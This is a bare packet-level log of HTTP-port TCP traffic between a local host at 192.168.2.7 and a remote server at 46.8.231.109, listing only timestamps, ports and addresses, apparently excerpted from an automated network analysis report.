Oct 7, 2024 19:33:20.715753078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715765953 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715776920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715786934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715790987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715790987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715799093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715810061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715821028 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715823889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715823889 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715832949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715845108 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.715862036 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.715924978 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797583103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797622919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797631979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797636986 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797655106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797672987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797684908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797697067 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797709942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797723055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797723055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797723055 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797750950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797797918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797811031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797823906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797842026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797846079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797846079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797854900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797868013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797874928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797900915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797936916 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.797969103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797981024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797991991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.797997952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798003912 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798008919 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798019886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798046112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798089027 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798089981 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798114061 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798126936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798139095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798150063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798161983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798171997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798172951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798172951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798186064 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798208952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798224926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798224926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798274040 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798353910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798366070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798376083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798419952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798463106 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798742056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798754930 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798770905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798780918 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798784018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798798084 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798810005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798811913 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798829079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798829079 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798856020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798856020 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.798954010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798966885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798978090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798985004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.798990965 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799041033 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799215078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799226046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799237013 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799248934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799253941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799261093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799273014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799279928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799279928 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799314022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799314022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799392939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799405098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799415112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799427032 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799438000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799439907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799439907 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799451113 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799455881 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799463987 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799473047 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799485922 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799489975 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799499035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799510002 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799516916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799524069 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799530029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799540997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799551964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799555063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799555063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799555063 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799563885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799571991 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799576044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799586058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799587011 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799599886 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799606085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799612999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799623966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799634933 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799635887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799654961 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799666882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799683094 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799688101 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799695015 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799705982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799706936 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799719095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799730062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799741030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799741030 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799741983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799755096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799766064 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799767017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799778938 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799787045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799808979 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799817085 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799833059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799866915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799927950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799941063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799951077 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799962044 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799972057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.799974918 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799988031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.799988985 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800000906 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800004005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800040007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800040007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800071001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800081968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800091982 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800102949 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800113916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800127983 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800127983 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800164938 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800323009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800338030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800347090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800357103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800368071 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800379992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800385952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800385952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800393105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800411940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800424099 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800426960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800426960 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800437927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800450087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800462008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800472021 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800482988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800483942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800484896 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800494909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800508976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800522089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800528049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800528049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800532103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800544977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800554991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800565958 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800569057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800569057 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800578117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.800607920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800607920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.800658941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.881797075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881808043 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881818056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881834984 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881845951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881858110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881870031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881876945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.881882906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881920099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.881947994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881958961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.881987095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.881987095 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882009029 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882011890 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882021904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882057905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882062912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882062912 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882071018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882093906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882110119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882110119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882112026 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882133961 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882139921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882159948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882169962 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882189989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882189989 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882221937 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882227898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882232904 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882244110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882282019 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882291079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882302999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882312059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882317066 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882323027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882333994 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882344007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882356882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882356882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882365942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882378101 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882394075 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882414103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882414103 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882431984 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882594109 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882605076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882648945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882648945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.882930040 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882994890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.882999897 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883006096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883035898 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883063078 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883078098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883080006 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883091927 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883102894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883102894 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883115053 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883126020 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883137941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883137941 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883163929 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883167982 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883177042 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883188009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883198977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883224964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883224964 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883254051 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883307934 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883323908 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883335114 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883346081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883363008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883363008 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883389950 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883435965 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883446932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883457899 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883469105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883479118 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883481979 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883491993 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883522987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883522987 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883558989 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883569956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883574009 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883580923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883593082 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883604050 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883613110 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883622885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883622885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883636951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883651972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883671045 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883692980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883759975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883770943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883797884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883797884 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883894920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883905888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883915901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883925915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883936882 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883938074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883938074 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883949041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.883954048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883996010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.883996010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:20.884068966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884084940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884094000 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884104967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:20.884116888 CEST	80	49718	46.8.231.109	192.168.2.7
